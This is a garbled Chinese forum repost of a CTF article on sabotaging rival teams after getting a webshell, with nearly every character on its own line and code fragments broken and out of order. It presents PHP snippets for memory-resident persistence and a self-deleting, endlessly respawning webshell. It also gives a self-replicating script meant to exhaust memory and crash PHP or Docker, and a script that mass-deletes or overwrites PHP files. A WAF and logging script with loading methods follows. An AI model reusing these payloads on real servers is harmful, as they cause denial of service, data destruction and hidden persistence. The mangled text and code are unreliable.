论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[10668] 2016-10-31_论如何在CTF比赛中搅“shi”
文档创建者:
s7ckTeam
浏览次数:
10
最后更新:
2025-01-18
IOT
10 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2016-10-31_论如何在CTF比赛中搅“shi”
论
如
何
在
C
T
F
比
赛
中
搅
“
s
h
i
”
V
i
r
i
n
k
F
r
e
e
B
u
f
2
0
1
6
-
1
0
-
3
1
*
本
文
原
创
作
者
:
V
i
r
i
n
k
,
本
文
属
F
r
e
e
B
u
f
原
创
奖
励
计
划
,
未
经
许
可
禁
止
转
载
0
×
0
0
前
言
前
言
不
能
搅
”
s
h
i
”
的
C
T
F
不
是
好
C
T
F
,
不
能
搅
”
s
h
i
”
的
题
目
不
是
好
题
目
。
我
很
赞
成
p
h
i
t
h
o
n
神
的
一
句
话
,
“
比
赛
就
是
和
他
人
竞
争
的
过
程
,
通
过
各
种
手
段
阻
止
对
手
拿
分
我
觉
得
也
是
一
种
能
力
。
”
你
能
够
做
到
别
人
做
不
到
的
,
那
就
是
你
的
本
事
。
本
文
所
说
的
搅
屎
是
在
G
E
T
S
H
E
L
L
的
情
况
下
才
能
进
行
的
!
!
!
遇
到
p
h
i
t
h
o
n
师
傅
的
《
C
T
F
主
办
方
指
南
之
对
抗
搅
屎
棍
》
就
G
G
了
0
×
0
1
预
备
知
识
预
备
知
识
大
多
数
能
够
搅
屎
的
题
目
基
本
上
是
P
H
P
且
需
要
g
e
t
s
h
e
l
l
的
。
所
以
,
必
备
的
P
H
P
语
法
基
本
只
是
必
须
要
懂
~
接
下
来
是
介
绍
一
些
特
殊
的
P
H
P
内
置
函
数
设
置
客
户
端
断
开
连
接
时
是
否
中
断
脚
本
的
执
行
P
H
P
以
命
令
行
脚
本
执
行
时
,
当
脚
本
终
端
结
束
,
脚
本
不
会
被
立
即
中
止
,
除
非
设
置
v
a
l
u
e
为
T
R
U
E
,
否
则
脚
本
输
出
任
意
字
符
时
会
被
中
止
。
设
置
脚
本
最
大
执
行
时
间
设
置
允
许
脚
本
运
行
的
时
间
,
单
位
为
秒
。
如
果
超
过
了
此
设
置
,
脚
本
返
回
一
个
致
命
的
错
误
。
默
认
值
为
3
0
秒
,
或
者
是
在
p
h
p
.
i
n
i
的
m
a
x
_
e
x
e
c
u
t
i
o
n
_
t
i
m
e
被
定
义
的
值
,
如
果
此
值
存
在
。
获
取
一
个
配
置
选
项
的
值
成
功
时
返
回
配
置
选
项
的
值
。
将
一
个
字
符
串
写
入
文
件
和
依
次
调
用
f
o
p
e
n
(
)
,
f
w
r
i
t
e
(
)
以
及
f
c
l
o
s
e
(
)
功
能
一
样
。
将
整
个
文
件
读
入
一
个
字
符
串
和
f
i
l
e
(
)
一
样
,
只
除
了
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
把
文
件
读
入
一
个
字
符
串
。
将
在
参
数
o
f
f
s
e
t
所
指
定
的
位
置
开
始
读
取
长
度
为
m
a
x
l
e
n
的
内
容
。
如
果
失
败
,
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
将
返
回
F
A
L
S
E
。
当
然
这
个
函
数
也
可
以
通
过
其
他
协
议
读
取
文
件
内
容
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
)
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
1
)
;
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
)
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
n
i
_
g
e
t
(
)
e
c
h
o
'
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
=
'
.
i
n
i
_
g
e
t
(
'
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
'
)
;
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
)
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
$
f
i
l
e
n
a
m
e
,
$
c
o
n
t
e
n
t
)
;
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
将
一
个
字
符
串
写
入
文
件
和
依
次
调
用
f
o
p
e
n
(
)
,
f
w
r
i
t
e
(
)
以
及
f
c
l
o
s
e
(
)
功
能
一
样
。
删
除
文
件
删
除
f
i
l
e
n
a
m
e
。
和
U
n
i
x
C
的
u
n
l
i
n
k
(
)
函
数
相
似
。
发
生
错
误
时
会
产
生
一
个
E
_
W
A
R
N
I
N
G
级
别
的
错
误
。
给
你
的
P
H
P
脚
本
加
上
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
1
)
;
这
两
句
就
能
够
做
的
常
驻
内
存
了
。
对
待
这
种
情
况
,
基
本
上
只
能
重
启
P
H
P
了
。
0
×
0
2
搅
屎
之
不
死
鸟
搅
屎
之
不
死
鸟
n
o
_
d
i
e
_
s
h
e
l
l
.
p
h
p
首
先
就
是
删
除
自
己
,
不
让
别
人
知
道
,
然
后
在
某
一
个
目
录
下
循
环
生
成
你
的
w
e
b
s
h
e
l
l
,
根
本
删
不
掉
~
~
0
×
0
3
搅
屎
之
核
弹
搅
屎
之
核
弹
n
u
c
l
e
a
r
_
b
o
m
b
.
p
h
p
根
据
代
码
,
不
难
看
出
这
个
脚
本
的
功
能
。
常
驻
内
存
之
后
,
进
入
死
循
环
。
循
环
内
部
是
实
现
无
效
複
製
自
身
并
且
访
问
w
e
b
服
务
的
功
能
。
执
行
的
后
果
就
是
内
存
爆
炸
,
p
h
p
就
G
G
了
,
严
重
点
的
话
,
D
o
c
k
e
r
也
G
G
。
0
×
0
4
搅
屎
之
你
死
我
活
d
e
l
.
p
h
p
d
e
l
_
o
r
_
c
h
a
n
g
e
.
p
h
p
遍
曆
目
录
,
得
到
所
有
的
p
h
p
文
件
,
然
后
至
于
你
想
改
写
内
容
还
是
直
接
删
掉
,
看
心
情
了
。
遍
曆
目
录
的
方
法
很
多
,
但
是
大
多
数
这
些
函
数
都
被
禁
用
了
(
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
)
。
偶
尔
有
个
别
漏
网
之
鱼
,
比
如
g
l
o
b
~
~
这
个
函
数
比
较
少
见
吧
。
所
以
这
样
就
用
了
它
。
如
果
删
除
函
数
u
n
l
i
n
k
被
b
a
n
掉
就
改
写
咯
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
s
(
$
f
i
l
e
n
a
m
e
)
;
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
s
(
$
u
r
l
)
;
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
)
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
$
f
i
l
e
n
a
m
e
,
$
c
o
n
t
e
n
t
)
;
u
n
l
i
n
k
(
)
u
n
l
i
n
k
(
$
f
i
l
e
n
a
m
e
)
;
<
?
p
h
p
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
1
)
;
u
n
l
i
n
k
(
_
_
F
I
L
E
_
_
)
;
/
/
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
_
_
F
I
L
E
_
_
,
'
'
)
;
<
?
p
h
p
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
t
r
u
e
)
;
w
h
i
l
e
(
1
)
{
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
r
a
n
d
s
t
r
(
)
.
'
.
p
h
p
'
,
f
i
l
e
_
g
e
t
_
c
o
n
t
e
n
t
(
_
_
F
I
L
E
_
_
)
)
;
<
?
p
h
p
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
1
)
;
a
r
r
a
y
_
m
a
p
(
'
u
n
l
i
n
k
'
,
g
l
o
b
(
"
s
o
m
e
/
d
i
r
/
*
.
p
h
p
"
)
)
;
?
>
<
?
p
h
p
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
1
)
;
u
n
l
i
n
k
(
_
_
F
I
L
E
_
_
)
;
f
u
n
c
t
i
o
n
g
e
t
f
i
l
e
s
(
$
p
a
t
h
)
{
f
o
r
e
a
c
h
(
g
l
o
b
(
$
p
a
t
h
)
a
s
$
a
f
i
l
e
)
{
0
×
0
5
搅
屎
之
搅
屎
之
W
A
F
感
觉
这
个
杀
器
有
点
邪
恶
。
对
于
线
下
赛
来
说
,
近
乎
于
无
敌
,
反
正
我
自
己
没
有
什
麽
好
的
方
法
破
解
。
噁
心
人
啊
。
p
h
p
_
w
a
f
_
a
n
d
_
l
o
g
_
t
o
_
t
x
t
.
p
h
p
这
个
W
A
F
在
线
下
攻
防
赛
中
,
绝
对
是
一
个
大
杀
器
。
不
仅
拦
截
了
大
多
数
非
法
语
句
,
还
能
记
录
所
有
的
攻
击
流
量
,
轻
松
得
到
别
人
的
p
a
y
l
o
a
d
。
不
知
道
主
办
方
要
如
何
解
决
这
个
W
A
F
所
存
在
的
问
题
。
当
然
,
这
个
W
A
F
应
该
也
不
是
完
美
的
,
还
可
以
添
加
更
多
的
规
则
,
让
他
变
得
更
强
!
接
下
来
再
说
说
,
在
实
战
中
如
何
加
载
这
个
W
A
F
。
根
据
权
限
不
同
,
就
有
不
同
的
加
载
方
式
。
有
有
r
o
o
t
权
限
权
限
那
麽
,
这
样
就
简
单
了
,
直
接
写
在
配
置
中
。
v
i
m
p
h
p
.
i
n
i
a
u
t
o
_
a
p
p
e
n
d
_
f
i
l
e
=
“
/
d
i
r
/
p
a
t
h
/
p
h
p
w
a
f
.
p
h
p
”
重
启
A
p
a
c
h
e
或
者
p
h
p
-
f
p
m
就
能
生
效
了
。
当
然
也
可
以
写
在
.
u
s
e
r
.
i
n
i
或
者
.
h
t
a
c
c
e
s
s
中
。
p
h
p
_
v
a
l
u
e
a
u
t
o
_
p
r
e
p
e
n
d
_
f
i
l
e
“
/
d
i
r
/
p
a
t
h
/
p
h
p
w
a
f
.
p
h
p
”
只
有
只
有
u
s
e
r
权
限
权
限
没
写
系
统
权
限
就
只
能
在
代
码
上
面
下
手
了
,
也
就
是
文
件
包
含
。
这
钟
情
况
又
可
以
用
不
同
的
方
式
包
含
。
如
果
是
框
架
型
应
用
,
那
麽
就
可
以
添
加
在
入
口
文
件
,
例
如
i
n
d
e
x
.
p
h
p
,
如
果
不
是
框
架
应
用
,
那
麽
可
以
在
公
共
配
置
文
件
c
o
n
f
i
g
.
p
h
p
等
相
关
文
件
中
包
含
。
还
有
一
种
是
替
换
i
n
d
e
x
.
p
h
p
,
也
就
是
讲
i
n
d
e
x
.
p
h
p
改
名
为
i
n
d
e
x
2
.
p
h
p
,
然
后
讲
p
h
p
w
a
f
.
p
h
p
改
成
i
n
d
e
x
.
p
h
p
。
当
然
还
没
完
,
还
要
在
原
p
h
p
w
a
f
.
p
h
p
中
包
含
原
来
的
i
n
d
e
x
.
p
h
p
。
至
于
你
想
用
哪
种
方
式
,
看
你
心
情
咯
,
你
开
心
就
好
。
0
×
0
6
结
束
语
结
束
语
写
这
篇
文
章
的
目
的
并
不
是
让
大
家
都
去
C
T
F
搅
屎
,
毕
竟
C
T
F
是
一
个
正
规
的
比
赛
的
地
方
,
有
助
于
我
们
学
习
更
多
的
技
术
以
及
黑
科
技
。
当
然
,
服
务
器
维
护
人
员
也
是
很
辛
苦
的
。
我
们
暴
打
出
题
人
就
好
了
,
何
必
为
难
运
维
。
(
出
题
人
就
是
运
维
的
情
况
下
,
例
外
!
!
!
)
<
?
p
h
p
e
r
r
o
r
_
r
e
p
o
r
t
i
n
g
(
0
)
;
d
e
f
i
n
e
(
'
L
O
G
_
F
I
L
E
N
A
M
E
'
,
'
l
o
g
.
t
x
t
'
)
;
f
u
n
c
t
i
o
n
w
a
f
(
)
{
i
f
(
!
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
g
e
t
a
l
l
h
e
a
d
e
r
s
'
)
)
{
i
n
c
l
u
d
e
(
'
p
h
p
w
a
f
.
p
h
p
'
)
;
i
n
d
e
x
.
p
h
p
-
>
i
n
d
e
x
2
.
p
h
p
p
h
p
w
a
f
.
p
h
p
-
>
i
n
d
e
x
.
p
h
p
i
n
c
l
u
d
e
(
'
i
n
d
e
x
2
.
p
h
p
'
)
;
希
望
大
家
用
正
确
的
心
态
看
这
篇
文
章
,
“
P
H
P
是
世
界
上
最
好
的
语
言
”
,
能
够
挖
掘
的
地
方
还
有
很
多
。
主
办
方
,
表
打
我
欸
。
*
本
文
原
创
作
者
:
V
i
r
i
n
k
,
本
文
属
F
r
e
e
B
u
f
原
创
奖
励
计
划
,
未
经
许
可
禁
止
转
载
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页